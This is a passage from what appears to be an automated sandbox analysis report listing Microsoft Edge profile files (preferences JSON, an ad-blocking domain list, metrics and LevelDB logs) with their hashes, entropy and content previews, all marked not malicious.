Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8c3d8d32-d304-48be-9141-3ef9ac3de9ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46137
Entropy (8bit):	6.087009354859616
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgFo0acuAhDO6vP6O81x9CPa4JDJIsPPrMhy1DhSCAopGoup1X2:mMk1rT8Hlo066kLAY01sRophu3VlXr4h
MD5:	942B1B756648A294B9CBA941CB9A07A5
SHA1:	22215BB26E02AE54115F648ABC992971CF160418
SHA-256:	49F72E966DF3CF3AEA3BE7F19FA7AB273AA50CF55E7F0B04D9C4BC26551355B6
SHA-512:	BA2445987D06D5BD91411CC999C9AD30B23DCD0D8ADA6C438668703565C5BDB880A88FEEC6782F79DCA1854A3F4D9FE052E033D66F98F6CEA8E1907E552A500E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8d81be77-b121-4203-942c-25633b101f05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.095459643834822
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBdwuzhDO6vP6O81x9CPaEJDJIsPPrMcGoup1Xl3j0:z/Ps+wsI7yOE06kLAAchu3VlXr4CRo1
MD5:	31BB4FC9F1CC3FB9D31080E809F2D8BC
SHA1:	67B4D74F5F3219F6CD397B401D4C48191DB19A3F
SHA-256:	C57DBF16FD1774A73CB96C934061112EEAB18580936169A4F01C65A24D0DBD08
SHA-512:	F2F2E8FF2A35896C473B6563DE035991DB9FF09C7737DC71542C57E27A34233ACB8CFBD929D80EA3A2BB35330B1688AB1A9E1A232B7A06A682F4AD782168F914
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\b674c202-ea43-4136-befe-108991e28d46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64015579084369
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7H:fwUQC5VwBIiElEd2K57P7H
MD5:	038E7B1B5D619E7E269F8958983AABEF
SHA1:	0FE7A0B47FA291DB6E046802984722C83C0508C1
SHA-256:	05DF0B9A5B45CA0DF8623F50EDD9740F79AD1BD5B359037D5E379093282388DE
SHA-512:	CED1EC90A03EE97FA8BA6E4D0ADD65101492AF8E392F552B4B7818BB58577C898E68CE36366A172A90C0088D055C29415E71103A89C68DF09A746128519657BF
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672138ED-2D8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4510343052616822
Encrypted:	false
SSDEEP:	6144:UPnb2ZKKZkcMxgjXI7q+M5fHxY3zaHWZ:lkcFjl5
MD5:	F3B2B189A7263CB219613E1B986EC514
SHA1:	8ED68F736CB6D8F3FDDA4B1B1AA59EE164EA58CA
SHA-256:	07F471CBADB4F29C1405A0BE8CF7030A3E9CCC315950BE010227DD3942DD90BA
SHA-512:	B8B0BC691E3925EFD5E0E0A78104839819E13A9FB521382E99757844CB74599F5C4EE66D65469A59574F8FEBD5A52427A2A86A6CA370F93C612D1BB38C5E3128
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hugfyu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\213016c3-757f-476e-ada2-19c8359c8a7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17458), with no line terminators
Category:	dropped
Size (bytes):	17462
Entropy (8bit):	5.484072124422344
Encrypted:	false
SSDEEP:	384:sthPGKSu4OsP9fhDmbfh+qeebG2sQwH6W2OlaTY/:s7Oxu+9fhebGqAhaTY/
MD5:	FBAC83EA25F3A91DB53327F6F28CA1D6
SHA1:	DF2D76F327912D088D6BBBE1F378119902D932B3
SHA-256:	28F2EAE18776304D8D460967187E11468756E4D0332356881784FCAAD2CBBE5F
SHA-512:	A32E06323F3B9A5006EF9C93534732D91B2761393B1A167B4163F4B702D4055DE3B6A748C4A312C483050E123E20B6678E98B35D8773AD5271C99F4BFDCB6962
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c24b909-bae5-49cd-b7c1-a5419a1b31cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8e2cf063-4481-4cb3-b992-1de4efa2fd3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\90c4f671-eddc-46a7-8b98-d883dd46071a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561193510612433
Encrypted:	false
SSDEEP:	768:iNYRB/7pLGLp2IWPDXf5T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVHJ/wI2WrwgqC0u:iNYRB5cp2IWPDXf5Tu1jamJ/f2zbC0by
MD5:	89B8591506635369482C463CE9212243
SHA1:	EC4520A8D960E00FE27D8E26F6524A7882440FA3
SHA-256:	4B57DD4BB3DF2180374C08F5F28D0D813641909812EE1EFE66C27214CE0D1C7E
SHA-512:	1F5DF3FE91A941D40703D2559EC12406968FBFCC736C729DDB82F87265F02F27156C7391C3719DF9D0F338272D7E7F02FAACB818872170ADA374C52A882040F0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374704109549352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374704109549352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9ce7475e-66cf-4c68-9d1b-0f82073d8d6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17293), with no line terminators
Category:	dropped
Size (bytes):	17297
Entropy (8bit):	5.487553326347393
Encrypted:	false
SSDEEP:	384:sthPGKSu4OsP9fhDmbfh+qeebG2sQwH6WiTaTY/:s7Oxu+9fhebGqAQaTY/
MD5:	4BBFC45DB6EBBD1F79CF628B16C4808D
SHA1:	68D080DAA49929932CA145C82A11D5ED469DFD5A
SHA-256:	BB64B8FC354A2CC77F1018341371B1C3755B2B0C68E283E2327E39A515DD1F17
SHA-512:	CF8330128DAEB1F4CB7AAE8A8C4A6F6A00F50DD0DEC4C266A69625581857516B608BB112F32C0430714A016C9B12A2986919DE26C8EB737C48049E3F0A786D74
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.247901841123278
Encrypted:	false
SSDEEP:	6:fAAD1923oH+Tcwtp3hBtB2KLllHxs+q2P923oH+Tcwtp3hBWsIFUv:o9Yebp3dFLRs+v4Yebp3eFUv
MD5:	E764E01AC308FA6B74EB47174F10214A
SHA1:	4A202A36D49F48538DC54A12028D47633667F918
SHA-256:	66E2064433341C7F99E11DFFC7C66F1538BA4E82FB10DBFD5851D97A0D647E7C
SHA-512:	15BDB4D91549109482B47856AC91E75735E5E69BBC3C6347D750BEC692D10D351FEDECB5893F00B08EE52E9634FD6ECD21F99A96C919BA18653E05FF2906D7CF
Malicious:	false
Preview:	2024/10/29-15:35:15.992 204c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/29-15:35:16.093 204c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222867020625788
Encrypted:	false
SSDEEP:	24576:v+/PN8FWfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN80fx2mjF
MD5:	0443D9CC012E2EF2A00C144459517ECA
SHA1:	AB92F1AE5B2E2DA6AD7A84970885317CC244705B
SHA-256:	47AFC861ECB1F144D583ED866BE5CBE53AF1BB59C830F97CF8D466A02998DE51
SHA-512:	0C86057EF32805C12DBD096E4E4EC8BDC92785588964C3118569440D73D71A41298F4480F15E8CC8B304C6BA0E29F11354D78782B8917DBAA4AEF00138C5EA90
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1182612348902135
Encrypted:	false
